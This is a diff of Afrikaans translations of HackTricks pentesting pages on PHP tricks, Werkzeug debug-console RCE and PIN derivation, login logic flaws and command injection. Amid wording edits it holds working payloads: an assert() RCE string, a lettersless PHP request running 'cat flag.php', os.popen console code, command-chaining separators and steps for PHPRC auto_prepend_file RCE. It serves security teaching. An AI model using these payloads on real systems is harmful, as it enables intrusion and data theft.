@ -191,7 +191,7 @@ True
|
||||||
```
|
```
|
||||||
### HTTP headers omseil deur PHP foute te misbruik
|
### HTTP headers omseil deur PHP foute te misbruik
|
||||||
|
|
||||||
#### Fout veroorsaak na die instel van headers
|
#### Fout veroorsaak na instel van headers
|
||||||
|
|
||||||
Van [**hierdie twitter draad**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19) kan jy sien dat wanneer meer as 1000 GET params of 1000 POST params of 20 lêers gestuur word, PHP nie headers in die antwoord gaan instel nie.
|
Van [**hierdie twitter draad**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19) kan jy sien dat wanneer meer as 1000 GET params of 1000 POST params of 20 lêers gestuur word, PHP nie headers in die antwoord gaan instel nie.
|
||||||
|
|
||||||
|
@ -242,12 +242,12 @@ Hierdie opsie van preg\_replace is **verouderd sedert PHP 5.5.0.**
|
||||||
```
|
```
|
||||||
### **RCE via Assert()**
|
### **RCE via Assert()**
|
||||||
|
|
||||||
Hierdie funksie binne php laat jou toe om **kode wat in 'n string geskryf is** te **uitvoer** om **waar of vals** te **terug te gee** (en afhangende hiervan die uitvoering te verander). Gewoonlik sal die gebruikersvariabele in die middel van 'n string ingevoeg word. Byvoorbeeld:\
|
Hierdie funksie binne php laat jou toe om **kode wat in 'n string geskryf is** te **uitvoer om waar of vals te terug te gee** (en afhangende hiervan die uitvoering te verander). Gewoonlik sal die gebruikersvariabele in die middel van 'n string ingevoeg word. Byvoorbeeld:\
|
||||||
`assert("strpos($_GET['page']),'..') === false")` --> In hierdie geval om **RCE** te kry kan jy doen:
|
`assert("strpos($_GET['page']),'..') === false")` --> In hierdie geval om **RCE** te verkry kan jy doen:
|
||||||
```
|
```
|
||||||
?page=a','NeVeR') === false and system('ls') and strpos('a
|
?page=a','NeVeR') === false and system('ls') and strpos('a
|
||||||
```
|
```
|
||||||
U sal die **kode** **sintaksis** **moet breek**, u **payload** **byvoeg** en dan **weer regmaak**. U kan **logiese operasies** soos "**and" of "%26%26" of "|"** gebruik. Let daarop dat "or", "||" nie werk nie, want as die eerste voorwaarde waar is, sal ons payload nie uitgevoer word nie. Dieselfde geld ";" wat nie werk nie, aangesien ons payload nie uitgevoer sal word nie.
|
U sal die **kode** **sintaksis** **moet breek**, u **payload** **byvoeg**, en dan **weer regmaak**. U kan **logiese operasies** soos "**and" of "%26%26" of "|"** gebruik. Let daarop dat "or", "||" nie werk nie, want as die eerste voorwaarde waar is, sal ons payload nie uitgevoer word nie. Dieselfde geld ";" wat nie werk nie, aangesien ons payload nie uitgevoer sal word nie.
|
||||||
|
|
||||||
**Ander opsie** is om die uitvoering van die opdrag aan die string toe te voeg: `'.highlight_file('.passwd').'`
|
**Ander opsie** is om die uitvoering van die opdrag aan die string toe te voeg: `'.highlight_file('.passwd').'`
|
||||||
|
|
||||||
|
@ -295,7 +295,7 @@ Different .htaccess shells can be found [here](https://github.com/wireghoul/htsh
|
||||||
If you find a vulnerability that allows you to **modify env variables in PHP** (and another one to upload files, although with more research maybe this can be bypassed), you could abuse this behaviour to get **RCE**.
|
If you find a vulnerability that allows you to **modify env variables in PHP** (and another one to upload files, although with more research maybe this can be bypassed), you could abuse this behaviour to get **RCE**.
|
||||||
|
|
||||||
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Hierdie omgewingsvariabele laat jou toe om arbitrêre biblioteke te laai wanneer jy ander binaire uitvoer (alhoewel dit in hierdie geval dalk nie sal werk nie).
|
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): Hierdie omgewingsvariabele laat jou toe om arbitrêre biblioteke te laai wanneer jy ander binaire uitvoer (alhoewel dit in hierdie geval dalk nie sal werk nie).
|
||||||
* **`PHPRC`** : Gee PHP instruksies oor **waar om sy konfigurasie-lêer te vind**, gewoonlik genoem `php.ini`. As jy jou eie konfigurasie-lêer kan oplaai, gebruik dan `PHPRC` om PHP daarop te wys. Voeg 'n **`auto_prepend_file`** inskrywing by wat 'n tweede opgelaaide lêer spesifiseer. Hierdie tweede lêer bevat normale **PHP-kode, wat dan** deur die PHP-runtime uitgevoer word voordat enige ander kode.
|
* **`PHPRC`** : Gee PHP instruksies oor **waar om sy konfigurasie-lêer te vind**, wat gewoonlik `php.ini` genoem word. As jy jou eie konfigurasie-lêer kan oplaai, gebruik dan `PHPRC` om PHP daarop te wys. Voeg 'n **`auto_prepend_file`** inskrywing by wat 'n tweede opgelaaide lêer spesifiseer. Hierdie tweede lêer bevat normale **PHP-kode, wat dan uitgevoer word** deur die PHP-runtime voordat enige ander kode.
|
||||||
1. Laai 'n PHP-lêer op wat ons shellcode bevat
|
1. Laai 'n PHP-lêer op wat ons shellcode bevat
|
||||||
2. Laai 'n tweede lêer op, wat 'n **`auto_prepend_file`** riglyn bevat wat die PHP-preprocessor instrueer om die lêer wat ons in stap 1 opgelaai het, uit te voer
|
2. Laai 'n tweede lêer op, wat 'n **`auto_prepend_file`** riglyn bevat wat die PHP-preprocessor instrueer om die lêer wat ons in stap 1 opgelaai het, uit te voer
|
||||||
3. Stel die `PHPRC`-variabele in op die lêer wat ons in stap 2 opgelaai het.
|
3. Stel die `PHPRC`-variabele in op die lêer wat ons in stap 2 opgelaai het.
|
||||||
|
@ -343,7 +343,7 @@ exec, shell_exec, system, passthru, eval, popen
|
||||||
unserialize, include, file_put_cotents
|
unserialize, include, file_put_cotents
|
||||||
$_COOKIE | if #This mea
|
$_COOKIE | if #This mea
|
||||||
```
|
```
|
||||||
As jy 'n PHP-toepassing debugeer, kan jy globaal foutdrukking aktief maak in `/etc/php5/apache2/php.ini` deur `display_errors = On` by te voeg en apache te herbegin: `sudo systemctl restart apache2`
|
As jy 'n PHP-toepassing aan die debug is, kan jy globaal foutdrukking aktiveer in `/etc/php5/apache2/php.ini` deur `display_errors = On` by te voeg en apache te herbegin: `sudo systemctl restart apache2`
|
||||||
|
|
||||||
### Deobfuscating PHP code
|
### Deobfuscating PHP code
|
||||||
|
|
||||||
|
@ -371,7 +371,7 @@ echo "$x ${Da}"; //Da Drums
|
||||||
```
|
```
|
||||||
## RCE wat nuwe $\_GET\["a"]\($\_GET\["b") misbruik
|
## RCE wat nuwe $\_GET\["a"]\($\_GET\["b") misbruik
|
||||||
|
|
||||||
As jy op 'n bladsy **n nuwe objek van 'n arbitrêre klas kan skep**, mag jy in staat wees om RCE te verkry, kyk na die volgende bladsy om te leer hoe:
|
As jy op 'n bladsy **'n nuwe objek van 'n arbitrêre klas kan skep**, mag jy in staat wees om RCE te verkry, kyk na die volgende bladsy om te leer hoe:
|
||||||
|
|
||||||
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %}
|
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %}
|
||||||
[php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md)
|
[php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md)
|
||||||
|
@ -401,7 +401,7 @@ ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
|
||||||
|
|
||||||
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
|
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
|
||||||
```
|
```
|
||||||
So, as jy **arbitraire PHP kan uitvoer sonder nommers en letters** kan jy 'n versoek stuur soos die volgende wat daardie payload misbruik om arbitraire PHP uit te voer:
|
So, as jy **arbitraire PHP kan uitvoer sonder nommers en letters** kan jy 'n versoek soos die volgende stuur wat daardie payload misbruik om arbitraire PHP uit te voer:
|
||||||
```
|
```
|
||||||
POST: /action.php?_=system&__=cat+flag.php
|
POST: /action.php?_=system&__=cat+flag.php
|
||||||
Content-Type: application/x-www-form-urlencoded
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
@ -470,9 +470,9 @@ $___($_[_]); // ASSERT($_POST[_]);
|
||||||
```
|
```
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, beveiligingskwessies te vind wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, sekuriteitskwessies te vind wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
|
|
@ -17,13 +17,13 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om voorregte te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
## Konsol RCE
|
## Console RCE
|
||||||
|
|
||||||
As debug aktief is, kan jy probeer om toegang te verkry tot `/console` en RCE te verkry.
|
As debug aktief is, kan jy probeer om toegang te verkry tot `/console` en RCE te verkry.
|
||||||
```python
|
```python
|
||||||
|
@ -31,7 +31,7 @@ __import__('os').popen('whoami').read();
|
||||||
```
|
```
|
||||||
![](<../../.gitbook/assets/image (117).png>)
|
![](<../../.gitbook/assets/image (117).png>)
|
||||||
|
|
||||||
Daar is ook verskeie exploits op die internet soos [hierdie ](https://github.com/its-arun/Werkzeug-Debug-RCE) of een in metasploit.
|
Daar is ook verskeie exploits op die internet soos [hierdie ](https://github.com/its-arun/Werkzeug-Debug-RCE)of een in metasploit.
|
||||||
|
|
||||||
## Pin Beskerm - Pad Traversal
|
## Pin Beskerm - Pad Traversal
|
||||||
|
|
||||||
|
@ -45,25 +45,25 @@ The console is locked and needs to be unlocked by entering the PIN.
|
||||||
You can find the PIN printed out on the standard output of your
|
You can find the PIN printed out on the standard output of your
|
||||||
shell that runs the server
|
shell that runs the server
|
||||||
```
|
```
|
||||||
'n Boodskap rakende die "konsole vergrendel" scenario word teëgekom wanneer daar probeer word om toegang te verkry tot Werkzeug se foutopsporing koppelvlak, wat 'n vereiste vir 'n PIN aandui om die konsole te ontgrendel. Die voorstel word gemaak om die konsole PIN te benut deur die PIN generasie algoritme in Werkzeug se foutopsporing inisialisasiefil (`__init__.py`) te analiseer. Die PIN generasie meganisme kan bestudeer word vanaf die [**Werkzeug bronkode-bewaarplek**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py), alhoewel dit aanbeveel word om die werklike bediener kode te verkry via 'n lêer traversering kwesbaarheid weens moontlike weergawe verskille.
|
'n Boodskap rakende die "konsole vergrendel" scenario word teëgekom wanneer daar probeer word om toegang te verkry tot Werkzeug se foutopsporing koppelvlak, wat 'n vereiste vir 'n PIN aandui om die konsole te ontgrendel. Die voorstel word gemaak om die konsole PIN te benut deur die PIN generasie-algoritme in Werkzeug se foutopsporing inisialisasielêer (`__init__.py`) te analiseer. Die PIN generasie-meganisme kan bestudeer word vanaf die [**Werkzeug bronkode-bewaarplek**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py), alhoewel dit aanbeveel word om die werklike bediener kode te verkry via 'n lêer traversering kwesbaarheid weens moontlike weergawe verskille.
|
||||||
|
|
||||||
Om die konsole PIN te benut, is twee stelle veranderlikes, `probably_public_bits` en `private_bits`, nodig:
|
Om die konsole PIN te benut, is twee stelle van veranderlikes, `probably_public_bits` en `private_bits`, nodig:
|
||||||
|
|
||||||
#### **`probably_public_bits`**
|
#### **`probably_public_bits`**
|
||||||
|
|
||||||
* **`username`**: Verwys na die gebruiker wat die Flask sessie begin het.
|
* **`username`**: Verwys na die gebruiker wat die Flask-sessie begin het.
|
||||||
* **`modname`**: Gewoonlik aangewys as `flask.app`.
|
* **`modname`**: Gewoonlik aangewys as `flask.app`.
|
||||||
* **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: Oor die algemeen los dit op na **Flask**.
|
* **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: Oor die algemeen los dit op na **Flask**.
|
||||||
* **`getattr(mod, '__file__', None)`**: Verteenwoordig die volle pad na `app.py` binne die Flask gids (bv. `/usr/local/lib/python3.5/dist-packages/flask/app.py`). As `app.py` nie van toepassing is nie, **probeer `app.pyc`**.
|
* **`getattr(mod, '__file__', None)`**: Verteenwoordig die volle pad na `app.py` binne die Flask-gids (bv. `/usr/local/lib/python3.5/dist-packages/flask/app.py`). As `app.py` nie van toepassing is nie, **probeer `app.pyc`**.
|
||||||
|
|
||||||
#### **`private_bits`**
|
#### **`private_bits`**
|
||||||
|
|
||||||
* **`uuid.getnode()`**: Verkry die MAC adres van die huidige masjien, met `str(uuid.getnode())` wat dit in 'n desimale formaat vertaal.
|
* **`uuid.getnode()`**: Verkry die MAC-adres van die huidige masjien, met `str(uuid.getnode())` wat dit in 'n desimale formaat vertaal.
|
||||||
* Om **die bediener se MAC adres te bepaal**, moet 'n mens die aktiewe netwerk interfase wat deur die app gebruik word, identifiseer (bv. `ens3`). In gevalle van onsekerheid, **leak `/proc/net/arp`** om die toestel ID te vind, dan **onttrek die MAC adres** van **`/sys/class/net/<device id>/address`**.
|
* Om **die bediener se MAC-adres te bepaal**, moet 'n mens die aktiewe netwerkinterfaan identifiseer wat deur die app gebruik word (bv. `ens3`). In gevalle van onsekerheid, **lek `/proc/net/arp`** om die toestel-ID te vind, dan **onttrek die MAC-adres** van **`/sys/class/net/<device id>/address`**.
|
||||||
* Om 'n heksadesimale MAC adres na desimaal om te skakel kan soos hieronder gedoen word:
|
* Om 'n heksadesimale MAC-adres na desimaal om te skakel kan soos hieronder gedoen word:
|
||||||
|
|
||||||
```python
|
```python
|
||||||
# Voorbeeld MAC adres: 56:00:02:7a:23:ac
|
# Voorbeeld MAC-adres: 56:00:02:7a:23:ac
|
||||||
>>> print(0x5600027a23ac)
|
>>> print(0x5600027a23ac)
|
||||||
94558041547692
|
94558041547692
|
||||||
```
|
```
|
||||||
|
@ -167,7 +167,7 @@ As jy op 'n **ou weergawe** van Werkzeug is, probeer om die **hashing-algoritme
|
||||||
|
|
||||||
## Werkzeug Unicode karakters
|
## Werkzeug Unicode karakters
|
||||||
|
|
||||||
Soos waargeneem in [**hierdie probleem**](https://github.com/pallets/werkzeug/issues/2833), sluit Werkzeug nie 'n versoek met Unicode karakters in die koptekste nie. En soos verduidelik in [**hierdie skrywe**](https://mizu.re/post/twisty-python), kan dit 'n CL.0 Request Smuggling kwesbaarheid veroorsaak.
|
Soos waargeneem in [**hierdie probleem**](https://github.com/pallets/werkzeug/issues/2833), sluit Werkzeug nie 'n versoek met Unicode karakters in koptekste. En soos verduidelik in [**hierdie skrywe**](https://mizu.re/post/twisty-python), kan dit 'n CL.0 Request Smuggling kwesbaarheid veroorsaak.
|
||||||
|
|
||||||
Dit is omdat dit in Werkzeug moontlik is om sommige **Unicode** karakters te stuur en dit sal die bediener **breek**. As die HTTP-verbinding egter met die koptekst **`Connection: keep-alive`** geskep is, sal die liggaam van die versoek nie gelees word nie en die verbinding sal steeds oop wees, sodat die **liggaam** van die versoek as die **volgende HTTP versoek** behandel sal word.
|
Dit is omdat dit in Werkzeug moontlik is om sommige **Unicode** karakters te stuur en dit sal die bediener **breek**. As die HTTP-verbinding egter met die koptekst **`Connection: keep-alive`** geskep is, sal die liggaam van die versoek nie gelees word nie en die verbinding sal steeds oop wees, sodat die **liggaam** van die versoek as die **volgende HTTP versoek** behandel sal word.
|
||||||
|
|
||||||
|
@ -184,7 +184,7 @@ Dit is omdat dit in Werkzeug moontlik is om sommige **Unicode** karakters te stu
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, sekuriteitskwessies te vind wat jou toelaat om voorregte te verhoog, en gebruik geoutomatiseerde exploits om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, sekuriteitskwessies te vind wat jou toelaat om voorregte te verhoog, en gebruik geoutomatiseerde exploits om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
|
|
|
@ -17,7 +17,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou web apps, netwerk, en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
|
@ -33,14 +33,14 @@ Let daarop dat dit moontlik is dat jy nie eers hoef te wag vir die gebruiker om
|
||||||
|
|
||||||
### Sessie booleans
|
### Sessie booleans
|
||||||
|
|
||||||
Soms wanneer jy 'n sekere verifikasie korrek voltooi, sal die agterkant **net 'n boolean met die waarde "True" by 'n sekuriteitsattribuut van jou sessie voeg**. Dan sal 'n ander eindpunt weet of jy daardie toets suksesvol geslaag het.\
|
Soms wanneer jy 'n sekere verifikasie korrek voltooi, sal die agterkant **net 'n boolean met die waarde "Waar" by 'n sekuriteitsattribuut van jou sessie voeg**. Dan sal 'n ander eindpunt weet of jy suksesvol daardie toets geslaag het.\
|
||||||
As jy egter **die toets slaag** en jou sessie daardie "True" waarde in die sekuriteitsattribuut toegeken word, kan jy probeer om **toegang te verkry tot ander hulpbronne** wat **afhang van dieselfde attribuut** maar waarvoor jy **nie toestemming behoort te hê nie**. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
|
As jy egter **die toets slaag** en jou sessie daardie "Waar" waarde in die sekuriteitsattribuut toegeken word, kan jy probeer om **toegang te verkry tot ander hulpbronne** wat **afhang van dieselfde attribuut** maar waarvoor jy **nie toestemming behoort te hê** om toegang te verkry nie. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
|
||||||
|
|
||||||
### Registreer funksionaliteit
|
### Registreer funksionaliteit
|
||||||
|
|
||||||
Probeer om te registreer as 'n reeds bestaande gebruiker. Probeer ook om ekwivalente karakters te gebruik (punte, baie spasie en Unicode).
|
Probeer om te registreer as 'n reeds bestaande gebruiker. Probeer ook om ekwivalente karakters te gebruik (punte, baie spasie en Unicode).
|
||||||
|
|
||||||
### Neem oor e-posse
|
### Oorname e-posse
|
||||||
|
|
||||||
Registreer 'n e-pos, voordat jy dit bevestig, verander die e-pos, dan, as die nuwe bevestigings e-pos na die eerste geregistreerde e-pos gestuur word, kan jy enige e-pos oorneem. Of as jy die tweede e-pos kan aktiveer wat die eerste een bevestig, kan jy ook enige rekening oorneem.
|
Registreer 'n e-pos, voordat jy dit bevestig, verander die e-pos, dan, as die nuwe bevestigings e-pos na die eerste geregistreerde e-pos gestuur word, kan jy enige e-pos oorneem. Of as jy die tweede e-pos kan aktiveer wat die eerste een bevestig, kan jy ook enige rekening oorneem.
|
||||||
|
|
||||||
|
@ -50,14 +50,14 @@ Registreer 'n e-pos, voordat jy dit bevestig, verander die e-pos, dan, as die nu
|
||||||
|
|
||||||
### TRACE metode
|
### TRACE metode
|
||||||
|
|
||||||
Ontwikkelaars mag vergeet om verskeie foutopsporing opsies in die produksie-omgewing te deaktiveer. Byvoorbeeld, die HTTP `TRACE` metode is ontwerp vir diagnostiese doeleindes. As dit geaktiveer is, sal die webbediener op versoeke wat die `TRACE` metode gebruik, reageer deur die presiese versoek wat ontvang is in die antwoord te herhaal. Hierdie gedrag is dikwels onskadelik, maar lei soms tot inligtingsontsluiting, soos die naam van interne outentikasie koppe wat aan versoeke deur omgekeerde proxies bygevoeg kan word.![Image for post](https://miro.medium.com/max/60/1\*wDFRADTOd9Tj63xucenvAA.png?q=20)
|
Ontwikkelaars mag vergeet om verskeie foutopsporing opsies in die produksie-omgewing te deaktiveer. Byvoorbeeld, die HTTP `TRACE` metode is ontwerp vir diagnostiese doeleindes. As dit geaktiveer is, sal die webbediener op versoeke wat die `TRACE` metode gebruik, antwoordgee deur in die antwoord die presiese versoek wat ontvang is, te herhaal. Hierdie gedrag is dikwels onskadelik, maar lei soms tot inligtingsontsluiting, soos die naam van interne outentikasie koppe wat aan versoeke deur omgekeerde proxies bygevoeg mag word.![Image for post](https://miro.medium.com/max/60/1\*wDFRADTOd9Tj63xucenvAA.png?q=20)
|
||||||
|
|
||||||
![Image for post](https://miro.medium.com/max/1330/1\*wDFRADTOd9Tj63xucenvAA.png)
|
![Image for post](https://miro.medium.com/max/1330/1\*wDFRADTOd9Tj63xucenvAA.png)
|
||||||
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou web apps, netwerk, en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
|
|
|
@ -17,21 +17,21 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
## Wat is kommando-inspuiting?
|
## Wat is opdraginjeksie?
|
||||||
|
|
||||||
'n **kommando-inspuiting** laat die uitvoering van arbitrêre bedryfstelselskommando's deur 'n aanvaller op die bediener wat 'n toepassing huisves. As gevolg hiervan kan die toepassing en al sy data volledig gecompromitteer word. Die uitvoering van hierdie kommando's laat tipies die aanvaller toe om ongemagtigde toegang of beheer oor die toepassing se omgewing en onderliggende stelsel te verkry.
|
'n **opdraginjeksie** laat die uitvoering van arbitrêre bedryfstelsels opdragte deur 'n aanvaller op die bediener wat 'n toepassing huisves. As gevolg hiervan kan die toepassing en al sy data volledig gecompromitteer word. Die uitvoering van hierdie opdragte laat tipies die aanvaller toe om ongeoorloofde toegang of beheer oor die toepassing se omgewing en onderliggende stelsel te verkry.
|
||||||
|
|
||||||
### Konteks
|
### Konteks
|
||||||
|
|
||||||
Afhangende van **waar jou invoer ingespuit word** mag jy nodig hê om die **gekwoteerde konteks te beëindig** (met `"` of `'`) voor die kommando's.
|
Afhangende van **waar jou invoer ingespuit word** mag jy nodig hê om die **gekwoteerde konteks te beëindig** (met `"` of `'`) voor die opdragte.
|
||||||
|
|
||||||
## Kommando-inspuiting/Uitsluiting
|
## Opdraginjeksie/Uitvoering
|
||||||
```bash
|
```bash
|
||||||
#Both Unix and Windows supported
|
#Both Unix and Windows supported
|
||||||
ls||id; ls ||id; ls|| id; ls || id # Execute both
|
ls||id; ls ||id; ls|| id; ls || id # Execute both
|
||||||
|
@ -108,7 +108,7 @@ real 0m0.002s
|
||||||
user 0m0.000s
|
user 0m0.000s
|
||||||
sys 0m0.000s
|
sys 0m0.000s
|
||||||
```
|
```
|
||||||
### DNS gebaseerde data-uitvoer
|
### DNS gebaseerde data eksfiltrasie
|
||||||
|
|
||||||
Gebaseer op die hulpmiddel van `https://github.com/HoLyVieR/dnsbin` ook gehos op dnsbin.zhack.ca
|
Gebaseer op die hulpmiddel van `https://github.com/HoLyVieR/dnsbin` ook gehos op dnsbin.zhack.ca
|
||||||
```
|
```
|
||||||
|
@ -164,7 +164,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk**
|
||||||
|
|
||||||
